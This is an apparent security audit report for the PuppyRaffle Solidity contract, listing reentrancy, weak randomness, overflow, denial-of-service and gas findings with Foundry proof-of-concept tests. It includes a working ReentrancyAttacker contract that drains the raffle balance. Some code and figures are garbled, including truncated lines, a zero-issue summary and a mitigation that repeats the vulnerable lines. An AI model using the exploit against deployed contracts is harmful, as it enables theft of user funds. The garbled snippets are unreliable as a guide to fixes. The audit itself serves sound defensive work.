Protocol Audit Report

Prince Allwin

February 16, 2024

Protocol Audit Report

Version 1.0

Prince Allwin

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance.
 - * [H-2] Weak randomness in PuppyRaffle::selectWinner allows anyone to choose winner.
 - * [H-3] Integer overflow of PuppyRaffle::totalFees loses fees
 - * [H-4] Malicious winner can forever halt the raffle
 - Medium
 - * [M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential denial of service(DOS) attack, incrementing gas costs for future entrants.
 - * [M-2] Unsafe cast of PuppyRaffle::fee loses fees
 - * [M-3] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest
 - Low
 - * [L-1] PuppyRaffle::getActivePlayerIndex returns 0 for nonexistent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
 - Gas
 - * [G-1] Unchanged state variable should be declared constant or immutable.
 - * [G-2] Storage variables in a loop should be cached.
 - Informational
 - * [I-1] Solidity pragma should be specific, not wide
 - * [I-2] Using an outdated version of solidity is not recommended.
 - * [I-3] Missing checks for address(0) when assigning values to address state variables
 - * [I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice.
 - * [I-5] Use of "magic" numbers is discouraged

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

Prince Allwin and team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
Likelihood	High Medium Low	High H H/M M	Medium H/M M M/L	Low M M/L L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

./src/ - PuppyRaffle.sol

Roles

- Owner: The only one who can change the feeAddress, denominated by the owner variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the feeAddress variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the players array.

Executive Summary

Issues found

Severity	Number of issues found
High	0
Medium	0
Low	0
Gas	0
Info	0
Total	0

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund allows entrant to drain raffle balance.

Description: The PuppyRaffle::refund function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call, we update the PuppyRaffle::players

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not players[playerIndex] = address(0);

payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);

emit RaffleRefunded(playerAddress);
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stoken by the malicious participant.

Proof of Concept:

}

- 1. Users enters the raffle.
- 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund.
- 3. Attacker enters the raffle.
- 4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance.

Poc

```
Place the following in PuppyRaffleTest.t.sol
```

```
function test Reentrancy() public {
    address[] memory players = new address[](4);
   players[0] = playerOne;
   players[1] = playerTwo;
   players[2] = playerThree;
   players[3] = playerFour;
   puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
   uint256 raffleBalanceBefore = address(puppyRaffle).balance;
   ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);
   uint256 startingAttackContractBalance = address(attackerContract).balance;
   vm.startPrank(attackUser);
   attackerContract.attack{value: entranceFee}();
   vm.stopPrank();
    // attacker has entered the raffle.
   uint256 endingAttackContractBalance = address(attackerContract).balance;
   uint256 raffleBalanceAfterAttack = address(puppyRaffle).balance;
    console.log("Starting attacker contract balance: ", startingAttackContractBalance);
    console.log("Starting Raffle Balance", raffleBalanceBefore);
    console.log("Ending attacker contract balance: ", endingAttackContractBalance);
    console.log("Raffle Balance After Attack", raffleBalanceAfterAttack);
    assertEq(endingAttackContractBalance, startingAttackContractBalance + 5 ether, "atta
    assertEq(raffleBalanceAfterAttack, 0);
```

And this contract as well

```
contract ReentrancyAttacker {
    PuppyRaffle private immutable i_victimContract;
    uint256 private immutable i_entranceFee;
    uint256 private s_attackerIndex;
    constructor(PuppyRaffle victimContract) {
        i_victimContract = PuppyRaffle(victimContract);
        i_entranceFee = victimContract.entranceFee();
    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        i_victimContract.enterRaffle{value: i_entranceFee}(players);
        s_attackerIndex = i_victimContract.getActivePlayerIndex(address(this));
        i_victimContract.refund(s_attackerIndex);
    }
    function _stealMoney() internal {
        if (address(i_victimContract).balance > 0) {
            i_victimContract.refund(s_attackerIndex);
        }
    }
   receive() external payable {
        _stealMoney();
    fallback() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

• By following the above steps we are statisfying CEI.

```
function refund(uint256 playerIndex) public {
   address playerAddress = players[playerIndex];
   require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
   require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not
   players[playerIndex] = address(0);
   emit RaffleRefunded(playerAddress);
```

```
payable(msg.sender).sendValue(entranceFee);

players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
```

• Also, Reentrancy Guard from Openzeppelin can be used.

[H-2] Weak randomness in PuppyRaffle::selectWinner allows anyone to choose winner.

Description: Hashing msg.sender, block.timestamp, and block.difficulty together creates a predictable final number. A predictable random number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additional means users could front-run this function and call **refund** if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the **rarest** puppy. Making the entire raffle worthless of it becomes a gas war as to who wins the raffles.

Proof of Concept:

There are few attack vectors here.

- 1. Validators can know ahead of time the block.timestamp and block.difficulty and use that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.
- 2. User can mine/manipulate their msg.sender value to result in their address being used to generate the winner!

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615

myVar = myVar + 1
// myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

- 1. We conclude a raffle of 4 players
- 2. We then have 89 players enter a new raffle, and conclude the raffle.
- 3. totalFees will be:

4. You will be not able to withdraw, due to the line in PuppyRaffle::withdrawFees:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently player
```

Although you could use selfDestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit.

Code

```
function test_TotalFeesOverflow() public playersEntered {
    // we finish a raffle of 4 to collect some fees
    // simulate raffle duration is over
   vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
   puppyRaffle.selectWinner();
   uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 20% of entranceFee
    // 4 players has entered 4 * 1e18 = 4e18
    // 20% of 4e18 = 0.8e18
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint160 i = 0; i < playersNum; i++) {</pre>
        players[i] = address(i);
   puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // simulate raffle duration is over
```

```
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);

puppyRaffle.selectWinner();
uint256 endingTotalFees = puppyRaffle.totalFees();
console.log("ending Total Fees", endingTotalFees);
assertLt(endingTotalFees, startingTotalFees);

// we are also unable to withdraw any fees because of the require check
vm.startPrank(puppyRaffle.feeAddress());
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
vm.stopPrank();
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

}

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows. 2. Use a uint256 instead of a uint64 for totalFees.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check from PuppyRaffle::withdrawFees

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently p
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the selectWinner function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

Medium

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential denial of service(DOS) attack, incrementing gas costs for future entrants.

Description: The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the players array, is an additional check the loop will have to make.

```
// @audit Dos Attack
@> for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate player");
    }
}</pre>
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::entrants array so big, that no else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 set of 100 players enter, the gas costs will be as such: - 1st 100 players: \sim 6252039 gas - 2nd 100 players: \sim 18068130 gas

This is more than 3x more expensive for the seconds 100 players.

 Poc

Place the following test into PuppyRaffleTest.t.sol

```
function test_denialOfService() public {
    vm.txGasPrice(1);

    // let's enter 100 players
    uint256 playersNum = 100;
    address[] memory players = new address[](playersNum);
    for (uint160 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }

    uint256 gasStartFirst = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    uint256 gasEndFirst = gasleft();</pre>
```

```
uint256 gasUsedFirst = (gasStartFirst - gasEndFirst) * tx.gasprice;

console.log("Gas Cost for the first %s players ->", playersNum, gasUsedFirst);

// now for the 2nd 100 players

address[] memory playersTwo = new address[](playersNum);

for (uint160 i = 0; i < playersNum; i++) {
    playersTwo[i] = address(i + playersNum);
}

uint256 gasStartSecond = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo);
uint256 gasEndSecond = gasleft();
uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;

console.log("Gas Cost for the second %s players ->", playersNum, gasUsedSecond);

assertLt(gasUsedFirst, gasUsedSecond);

// Logs:
// Gas Cost for the first 100 players -> 6252039
// Gas Cost for the second 100 players -> 18068130
```

Recommended Mitigation: There are a few recommendations.

}

- 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check dosen't prevent the same person from entering multiple times, only the same wallet address.
- 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
mapping(address => uint256) public s_addressToRaffleId;
uint256 public raffleId = 0;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough for (uint256 i = 0; i < newPlayers.length; i++) {
        // Check for duplicates only from the new players
        require(s_addressToRaffleId[i] != raffleId, "PuppyRaffle: Duplicate player");
        players.push(newPlayers[i]);
        addressToRaffleId[newPlayers[i]] = raffleId;
}

// check for duplicates</pre>
```

```
for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
}

function selectWinner() external {
    raffleId = raffleId + 1;
    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not)
}
```

[M-2] Unsafe cast of PuppyRaffle::fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

```
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not require(players.length > 0, "PuppyRaffle: No players in raffle");

    uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestam) address winner = players[winnerIndex];
    uint256 fee = totalFees / 10;
    uint256 winnings = address(this).balance - fee;

    totalFees = totalFees + uint64(fee);
    players = new address[](0);
    emit RaffleWinner(winner, winnings);
}
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~ 18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the **feeAddress** will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

- 1. A raffle proceeds with a little more than 18 ETH worth of fees collected
- 2. The line that casts the fee as a uint64 hits
- 3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
```

```
uint64(fee)
// prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
uint64 public totalFees = 0;
uint256 public totalFees = 0;

function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
    uint256 winnerIndex =
        uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty address winner = players[winnerIndex];
    uint256 totalAmountCollected = players.length * entranceFee;
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
    totalFees = totalFees + uint64(fee);
    totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest.

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
@> /// @return the index of the player in the array, if they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
@> return 0;
}
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

- 1. User enters the raffle, they are the first entrant.
- 2. PuppyRaffle::getActivePlayerIndex returns 0.
- 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better soultion might be to return an int256 where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variable should be declared constant or immutable.

Instances: - PuppyRaffle::raffleDuration should be immutable - PuppyRaffle::commonImageUri should be constant - PuppyRaffle::rareImageUri should be constant - PuppyRaffle::legendaryImageUri should be constant

Reading from storage is much more expensive than reading from a constant or immutable variable.

[G-2] Storage variables in a loop should be cached.

Everytime you call players.length you read from storage, as opposed from memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
+ for (uint256 j = i + 1; j < playersLength; j++) {
- require(players[i] != players[j], "PuppyRaffle: Duplicate player");
- }
}</pre>
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

[I-2] Using an outdated version of solidity is not recommended.

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account: - Risks related to recent releases
- Risks of complex code generation changes - Risks of new language features - Risks of known bugs - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation for more information.

[I-3] Missing checks for address(0) when assigning values to address state variables

Assigning values to address state variables without checking for address(0).

Instances: PuppyRaffle::feeAddress

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the number are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
Instead, you could use:
   uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
   uint256 public constant FEE_PERCENTAGE = 20;
   uint256 public constant POOL_PRECISION = 100;
```